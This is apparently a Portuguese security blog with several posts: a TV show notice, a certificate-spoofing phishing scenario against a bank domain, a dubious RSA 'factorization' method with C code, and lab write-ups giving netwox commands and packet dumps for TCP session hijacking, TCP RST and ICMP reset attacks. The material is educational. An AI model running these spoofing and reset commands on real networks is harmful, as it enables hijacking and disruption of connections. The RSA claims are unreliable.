Programa de TV sobre Pentesters

A CourtTV (TruTV) tem uma nova serie estreando dia 25 de Dezembro chamada “Tiger Team”. O Primeiro episodio ira ao ar as 11:00 da noite.

A Serie mostra um grupo de penetration testers que tentam quebrar a seguranca de organizacoes atraves de engenharia social, penetration testing em redes wireless, e fisicamente desafiando mecanismos de seguranca (Lock picking, dumpster diving, entrando atraves de saidas de ventilacao e janelas).

O Programa ainda nao tem um website oficial ainda, mas certamente logo tera. Por agora existem alguns teasers falando do programa.

http://digg.com/television/Tiger_Team_New_TV_show_about_real_hackers_airs_Dec_25

 

Abaixo a chamada do programa no Youtube:

Advertisements

Certificate x.509 Spoofing usando Mozzila

Browser baseados no Mozilla (Firefox, Netscape, …), Konquerer e Safari 2 não verificam um certificado
digital para webservers baseados em user-approved para o domain name de origem. Isto faz que este
usuários estejam sujeitos à um ataque de Certificate Spoofing usando a extenssão “subjectAltName:dnsName”

Vocês podem ver uma demonstração em http://test.eonis.net, vale a pena dar uma olhada. Para detalhes (versões
vulneraveis, vendor status, bug ids …) veja http://nils.toedtmann.net/pub/subjectAltName.txt.

Cenário do Ataque:

(1) Assumindo que um Pisher consegue redirecionar o browser de um usuário
para um HTTPS Server preparado para spoofar o endereço “www.bradesco.com.br”
(pode-se fazer isto usando DNS Spoofing ou então um Domain Hijacking, ou qualquer
MITM de sua preferência). Porém o browser do usuário iria alertar o usuário
em relação à autenticidade do Certificado Digital que o site http://www.bradesco.com.br
está oferecendo, pois o atacante não possui um certificado digital geral por uma
CA browser-trusted (x.509). Isso seria um problema para um Pisher comum :)

(2) O phisher então cria outro Website “www.exemplo.com.br” (não spoofado)
e então coloca um Certificado x.509:
DN=”CN=www.exemplo.com.br”
subjectAltName:dNSName=www.exemplo.com.br
subjectAltName:dNSName=www.bradesco.com.br

Após isto, faz o usuário entrar em https://www.exemplo.com.br. O usuário
irá receber um aviso de “unknown CA”, porém a extenssão “subjectAltName:dNSName”
não será mostrada a ele, então o certificado parecerá OK. Uma vez que o usuário não
planeja colocar nenhuma informação confidencial, ele aceita o certificado (temporariamente
ou então definitivamente ;) ) e continua sua vida.

(3) Algum tempo depois (Se o certificado foi aceito temporáriamente, isto deve acontecer
dentro da mesma sessão senão não vai funcionar), o phisher atrai o usuário para o seu site
spoofado https://www.bradesco.com.br, usando o mesmo self-signed certificate, e desta vez,
sem avisos !!!

No final, o usuário não conseguirá distinguir o site falso de um site real, e a partir dai o que pode ser feito
com esta técnica depende da criatividade de cada um. Como o Cert Warning e a tentativa de Spoofing estão separadas
em dois eventos que aparecem para o usuário como não relacionados não irá chamar atenção.
Este ataque deve-se ao fato de que os browsers afetados relacionam qualquer hostname que esteja setado no
“subjectAltName:dNSName=*”

Para o Mozilla, este tipo de falha é conhecida a mais de 3 anos e ainda não foi corrigida :-)

Breaking RSA: Totient indirect factorization

rsa_logo.gif

Este texto tenta expor um algoritmo o qual permite a fatorização do RSA Modulus Totien e assim

quebrar a RSA.

RSA algorithm
————-

O algoritmo RSA é gereado da seguinte forma:

1) m = p*q -> RSA modulus
2) t = (p-1)*(q-1) -> totien(m)

3) (e*d) mod t = 1 mod t

4) a^e mod m = b
5) b^d mod m = a

e = public key
d = private key

Força do RSA
————

A Equação (3) mostra que é possivel recuperar a chave privada “d” sabendo-se a chave publica “e” e o totien “t”.

sequencia “a^n mod m”
——————–

Para saber sobre o totien nós temos que examinar a sequencia “a^n mod m”, um exemplo é “2^n mod 11” (n de 1 à 11)
com o totien 10:

2, 4, 8, 5, 10, 9, 7, 3, 6,*1, 2

Em “n=10” nós temos um “1” porque “a^totien(m) mod m” é sempre 1 (Teorema de Euler).

A sequencia “3^n mod 11” tem o mesmo totien 10:

3, 9, 5, 4,*1, 3, 9, 5, 4,*1, 3

mas nós temos dois “1”, “n=5” y “n=10” (totien), e neste caso deve-se observar a natureza cíclica de “a^n mod m”
porque sempre teremos a mesma lista de números antes de cada “1”.

Equação “a^n mod m = 1”
————————

A Natureza cíclica da sequência “a^n mod m” nos leva à nossa primeira tabela verdade:

1) – O Valor exponencial da solução “a^n mod m” será sempre o valor divisor do Totien.

A sequência “3^n mod 11” tem como solução “5” e “10”, e eles são divisores do valor do totien (totien(11) = 10).

3, 9, 5, 4,*1, 3, 9, 5, 4,*1, 3

Maximizando as soluções de “a^n mod m = 1”
——————————————-

O Segundo valor de nossa tabela verdade é:

2) – Se “x” é um divisor de totien, então “a^x^n mod m = 1” irá multiplicar a solução
“a^n mod m = 1” por “x”.

Ex.: A sequência “2^n mod 11” tem um “1”

2, 4, 8, 5, 10, 9, 7, 3, 6,*1, 2

“2^5^n=32^n”, “32^n mod 11” produz cinco “1”:

10,*1, 10,*1, 10,*1, 10,*1, 10,*1, 10

O limite de “a^n mod m = 1”
———————

O terceiro valor da tabela verdade:

3) Se x ainda não é um divisor de totien então “a^x^n mod m = 1” terá as mesmas soluções que “a^n mod m = 1”
porém com os valores permutados.

Ex.: A sequência “2^n mod 11” tem um “1”

2, 4, 8, 5, 10, 9, 7, 3, 6,*1, 2

“2^2^n= 4^n”, “4^n mod 11” tem dois “1”

4, 5, 9, 3,*1, 4, 5, 9, 3,*1, 4

“4^2^n= 16^n”, “16^n mod 11” ainda terá dois “1” mas veja que os valores estão permutados.

5, 3, 4, 9,*1, 5, 3, 4, 9,*1, 5

Finalizando a Sequência
————————

Nosso ultimo axioma é:

4) Se “a” contém todos os divisores de totien, então “a^n mod m” sempre terá que ser “1”.

Ex.: “2^2^5^n= 1024^n mod 11

*1,*1,*1,*1,*1,*1,*1,*1,*1,*1,*1

Teorema de Euler
—————–

Esta tabela verdade é a consequencia do valor da tabela 3 mas eu não utilizei ela no algoritmo.

5) Se “n” e tão grande quanto o maior número dos totiens condicentes o divisor será:

a^((n-1)(t*(t+1)/2)) mod m = 1 mod m (t = totien(m))

Algoritmo
———

– Repita “a = a^n mod m” com n de 2 até m, salvando todos os resultados em uma tabela até a == 1 (Tabela 4).

– Examine a tabela do final para o começo printando “n” se o número de “1” for divisível por “n” (Tabela 1,2,3),

Impacto
——

Vendors de PKI devem modificar o gerador de algorítmos do modulos para que discartem totiens com baixos valores.
Os certificados atuais podem ser fatorizados em menor tempo do que o esperado e comprometer a segurança do algoritmo

Creditos
——–

Alex Bassas serramia
Barcelon (SPAIN)

Exemplo de Implementação
—————————-

#ifdef WIN32
#include <windows.h>
#include <io.h>
#else
typedef long long ULONG64;
#define TRUE (-1)
#define FALSE (0)
#endif
#include <stdio.h>
#include <time.h>

ULONG64 getrand (void) {
ULONG64 n,num;

for (n=0;n<8;n++) {
num = (num << 8) | (rand()%256);
}
return (num);
}

ULONG64 expmod (ULONG64 x,ULONG64 n,ULONG64 m) {
ULONG64 r = 1;

while (n) {
if (n&1) {
r = (r*x)%m;
n = n – 1;
}
x = (x*x)%m;
n = n / 2;
}
return (r);
}

int isprime (ULONG64 p) {
ULONG64 k,a;

for (k=0;k<8;k++) {
a = getrand() % p;
if (expmod(a,p-1,p) != 1) {
return (FALSE);
}
}
return (TRUE);
}

ULONG64 value (ULONG64 bits) {
ULONG64 n;

n = 1 << bits;
return (n);
}

ULONG64 getprime (ULONG64 bits,ULONG64 mbits) {
ULONG64 num,m;

m = value(mbits);
do {
num = getrand();
if (bits < 64) {
num %= value(bits);
}
}
while ((num<m) || (num<=1) || !isprime(num)); return (num); }

struct s_reg {
ULONG64 base;
ULONG64 exp;
ULONG64 res;
};

int num_reg (FILE *f) {
int l;

fseek (f,0,SEEK_END);
l = ftell(f);
return (l/sizeof(struct s_reg));
}

int go_reg (FILE *f,int num) {
fseek(f,num*sizeof(struct s_reg),SEEK_SET); return (TRUE); }

int read_reg (FILE *f,int num,struct s_reg *r) { if (go_reg(f,num)) {
fread (r,sizeof(struct s_reg),1,f);
}
return (TRUE);
}

int write_reg (FILE *f,int num,struct s_reg *r) { if (go_reg(f,num)) {
fwrite (r,sizeof(struct s_reg),1,f);
}
return (TRUE);
}

void delete_table (char *name) {
FILE *f;

f = fopen (name,”wb”);
if (f != NULL) {
fclose(f);
}
}

void expand_table (char *name,ULONG64 m) { FILE *f; int l; struct s_reg r;

f = fopen (name,”a+b”);
if (f != NULL) {
l = num_reg (f);
if (!l) {
r.base = 2;
r.exp = 2;
r.res = expmod (r.base,r.exp,m);
write_reg (f,0,&r);
l = 1;
}
read_reg (f,l-1,&r);
while (r.res != 1) {
r.base = r.res;
r.exp++;
r.res = expmod (r.base,r.exp,m);
write_reg (f,l++,&r);
}
fclose (f);
}
}

void reverse_table (char *name,ULONG64 m) { FILE *f; struct s_reg a,b; int l,n;
ULONG64 r,e;

f = fopen (name,”rb”);
if (f != NULL) {
l = num_reg (f);
e = 1;
for (n=l-1;n>=0;n–) {
read_reg (f,n,&a);
read_reg (f,n+1,&b);
r = expmod (a.base,e,m);
if (r != 1) {
printf (“reverse\texp = %I64i\r\n”,a.exp);
e *= a.exp;
}
}
fclose (f);
}
}

#define TABLE “test.dat”
#define P_BITS 32

int main (int argc,char *argv[],char *envp[]) {
ULONG64 p,q,m,t;

srand((unsigned)time(NULL));
p = getprime(P_BITS/2,0);
printf (“p = %I64i\r\n”,p);
q = getprime(P_BITS/2,0);
printf (“q = %I64i\r\n”,q);
m = p*q;
printf (“m = %I64i\r\n”,m);
t = (p-1)*(q-1);
printf (“t = %I64i\r\n”,t);
delete_table (TABLE);
expand_table (TABLE,m);
reverse_table (TABLE,m);
return (0);
}

TCP Session Highjacking

* netwox 7 -device “Eth3” -filter “port 20 or port 21”
* netwox 76 -dst-ip 192.168.27.129 -dst-port 32770
* netwox 40 -ip4-dontfrag -ip4-ttl 5 -ip4-src 192.168.27.129 -ip4-dst 192.168.27.128 -tcp-src 32270 -tcp-dst 21
-tcp-seqnum 2461838162 -tcp-acknum 620603129 -tcp-urg -tcp-ack -tcp-window 32577 -tcp-data “50 57 44 0d 0a” -spoofip “best”

Usando a sequencia de comando acima é implementada uma Session Hijacking. O Lab envolve uma conexão FTP
entre duas maquinas VMware (ubuntu e minix) e a maquina ubuntu atua como atacante.

O atacante consegue executar comandos arbitrários de FTP na máquina server, porém a máquina que inicializou
a comunicação foi a minix e apenas recebe um reply.

Se a máquina estiver inativa ocorre um ping pong de pacotes TCP trocados entre os dois hosts.

Considere o seguinte cenário: A está conectada em B via FTP. Digamos que X é o SEQ_NUM e Y é o ACK_NUM de A para B.
Acora o atacante envia um pacote spoffado para B com o SEQ_NUM X e ACK_NYM Y. B responde com o SEQ_NUM=Y+$n_1$(tamanho da mensagem)
e ACK_NUM=X+$n_2$. A recebe o pacote, mas como tem pacotes com o SEQ_NUM=x, ele envia então um pacote com o SEQ_NUM=x+1 e ACK_NUM=y.

Desta forma A e B continuam a inumdar um ao outro com pacotes :-P.

Agora se A está ativo ele irá mostrar o display output do comando enviado pelo atacante. Então se fizermos
um synflood em A usando o netwox-too 76 (como mostrado acima), A continuará a receber o output, contudo um pouco
mais atrasado. Uma verdadeira session hijacking será possivel somente se usarmos um MITM (Man-in-the-middle) Attack.
O screenshot a seguir mostra o output do comando enviado pelo atacante sendo direcionado para o host.
img3.png

TCP RST attacks

O ataque de TCP RST consiste em sabendo que uma determinada conexão está ativa, é possivel enviar um pacote tcp contendo a flag RST,
basta conhecer o tcp-seqnum para encaminhar o RST flag com um source spoofado, forjando ser o host legítimo onde a conexão está feita.

Para isto podemos utilizar o netwox que é uma ferramenta muito muito muito boa, eu arrisco dizer que esta sim é o canivete suiço para tcp-ip
e qualquer outro protocolo porque alem de um Packet-fuzzer ele é um Sniffer muito bom e um packet-analizer completo.

netwox 78 -device “Eth3” -spoofip “best” -ips “192.168.27.129”

Esta tool vai resetar todas as conexões vindas do IP Address 192.168.27.29. Sobretudo, estará também fazendo framing dos
ip packets com o número apropriado para os pacotes SYN e ACK assim como os port numbers, com o RST Flag setado.
Para gerar o pacote RST que matará todas as conexões com o host, podemos ver o pacote que a tools gera:

Ethernet________________________________________________________.
| 00:0C:29:E5:47:4D->00:50:56:E5:6D:53 type:0x0800 |
|_______________________________________________________________|
IP______________________________________________________________.
|version| ihl | tos | totlen |
|___4___|___5___|____0x00=0_____|___________0x0028=40___________|
| id |r|D|M| offsetfrag |
|___________0x001E=30___________|0|1|0|________0x0000=0_________|
| ttl | protocol | checksum |
|____0x40=64____|____0x06=6_____|____________0xCB95_____________|
| source |
|________________________192.168.27.128_________________________|
| destination |
|_________________________128.230.18.14_________________________|
TCP_____________________________________________________________.
| source port | destination port |
|__________0x0ABF=2751__________|___________0x0016=22___________|
| seqnum |
|_____________________0x30E40A46=820251206______________________|
| acknum |
|_________________________0x00000000=0__________________________|
| doff |r|r|r|r|C|E|U|A|P|R|S|F| window |
|___5___|0|0|0|0|0|0|0|0|0|1|0|0|___________0x0000=0____________|
| checksum | urgptr |
|_________0xFAC4=64196__________|___________0x0000=0____________|

Isto pode ser conseguido manualmente sniffando a rede e depois enviando o pacote TCP Apropriado. O mesmo efeito é conseguido usando a opção de ferramenta 7
seguida pela ferramenta 78:

netwox 7 -device “Eth3”
netwox 40 -ip4-src 128.230.18.14 -ip4-dst 192.168.27.128 -tcp-src 22 -tcp-dst 3538 -tcp-seqnum 1713790563 -tcp-acknum 1277156939 -tcp-rst -tcp-window 0 -tcp-urgptr 0

O Pacote Gerado foi:

Ethernet________________________________________________________.
| 00:00:00:00:00:00->00:0C:29:E5:47:4D type:0x0800 |
|_______________________________________________________________|
IP______________________________________________________________.
|version| ihl | tos | totlen |
|___4___|___5___|____0x00=0_____|___________0x0028=40___________|
| id |r|D|M| offsetfrag |
|_________0xE130=57648__________|0|0|0|________0x0000=0_________|
| ttl | protocol | checksum |
|____0x00=0_____|____0x06=6_____|____________0x6A83_____________|
| source |
|_________________________128.230.18.14_________________________|
| destination |
|________________________192.168.27.128_________________________|
TCP_____________________________________________________________.
| source port | destination port |
|___________0x0016=22___________|__________0x0DD2=3538__________|
| seqnum |
|_____________________0x66265E63=1713790563_____________________|
| acknum |
|_____________________0x4C1FDE4B=1277156939_____________________|
| doff |r|r|r|r|C|E|U|A|P|R|S|F| window |
|___5___|0|0|0|0|0|0|0|0|0|1|0|0|___________0x0000=0____________|
| checksum | urgptr |
|_________0x43E7=17383__________|___________0x0000=0____________|

Ambos os tipos de ataques podem ser utilizados, em ambos os casos a conexão é quebrada e recebemos um Error Message.

ICMP Blind Connection Reset Attack

O ataque de ICMP Blind Connection Reset consiste em enviar pacotes forjados a partir de uma origem que comunica-se
com outro host, afim de efetuar o reset na comunicação enviando pacotes ICMP com a flag ICMP-type-3.

Usaremos 2 tools do Netwox para executar este ataque.

* netwox 41 -ip4-dontfrag -ip4-src gamera.syr.edu -ip4-dst 192.168.27.129 -icmp-type 3 -icmp-code 4 -spoofip “best”

Esta tool apenas envia pacotes ICMP type code 4 para a máquina alvo com o ip spoofado do host gamera.syr.edu,
a maquina alvo está conectada ao gamera via SSH. O pacote IP malicioso não foi atachado no pacote enviado para o Host.
O Host aparentemente ignora a mensagem porém a conexão é perdida. O Pacote gerado foi o seguinte:

IP______________________________________________________________.
|version| ihl | tos | totlen |
|___4___|___5___|____0x00=0_____|___________0x001C=28___________|
| id |r|D|M| offsetfrag |
|__________0x12F2=4850__________|0|1|0|________0x0000=0_________|
| ttl | protocol | checksum |
|____0x00=0_____|____0x01=1_____|____________0xF8D1_____________|
| source |
|_________________________128.230.18.14_________________________|
| destination |
|________________________192.168.27.129_________________________|
ICMP4_destination unreachable_fragmentation needed______________.
| type | code | checksum |
|____0x03=3_____|____0x04=4_____|_________0xFCFB=64763__________|
| reserved |
|_________________________0x00000000=0__________________________|
| bad IP packet : |

Both Minix and Linux were immuned to this fake message.
* netwox 82 -device “Eth3” -code 4 -src-ip 192.168.27.129 -spoofip “best”
Esta ferramenta monitora o trefago e depois atacha os primeiros 64 bytes do pacote TCP enviado na mensagem ICMP.
Esta tool é muito poderosa e com ela é possivel quebrar a comunicação tanto em sistemas Linux quando Minix3. O pacote gerado
pela ferramenta é o seguinte:

Ethernet________________________________________________________.
| 00:0C:29:B5:47:DE->00:0C:29:B5:47:DE type:0x0800 |
|_______________________________________________________________|
IP______________________________________________________________.
|version| ihl | tos | totlen |
|___4___|___5___|____0x00=0_____|___________0x0038=56___________|
| id |r|D|M| offsetfrag |
|__________0x24B0=9392__________|0|0|0|________0x0000=0_________|
| ttl | protocol | checksum |
|___0xFF=255____|____0x01=1_____|____________0xDEC1_____________|
| source |
|________________________192.168.27.129_________________________|
| destination |
|________________________192.168.27.129_________________________|
ICMP4_destination unreachable_host______________________________.
| type | code | checksum |
|____0x03=3_____|____0x01=1_____|_________0x7E66=32358__________|
| reserved |
|_________________________0x00000000=0__________________________|
| bad IP packet : |
IP______________________________________________________________.
|version| ihl | tos | totlen |
|___4___|___5___|____0x00=0_____|___________0x0058=88___________|
| id |r|D|M| offsetfrag |
|__________0x008A=138___________|0|1|0|________0x0000=0_________|
| ttl | protocol | checksum |
|____0x05=5_____|____0x06=6_____|____________0x05F9_____________|
| source |
|________________________192.168.27.129_________________________|
| destination |
|_________________________128.230.18.14_________________________|
80 01 00 16 d0 9d 2d e3 # ……-.

Com este pacote formatado é possivel quebrar a conexão entre duas maquinas. Porém se você sniffar verá que o code de
pacote que ele reporta é o 1 e não o 4, como se o ataque não tivesse sido realizado.
Abaixo segue o codigo fonte que faz este tipo de ataque possível.

O algoritmo é algo similar a isto:

case ICMP_FRAG_NEEDED:
if (ipv4_config.no_pmtu_disc) {
LIMIT_NETDEBUG(KERN_INFO “ICMP: %u.%u.%u.%u: ”
“fragmentation needed ”
“and DF set.\n”,
NIPQUAD(iph->daddr));
} else {
info = ip_rt_frag_needed(iph,
ntohs(icmph->un.frag.mtu));
if (!info)
goto out;
}
break;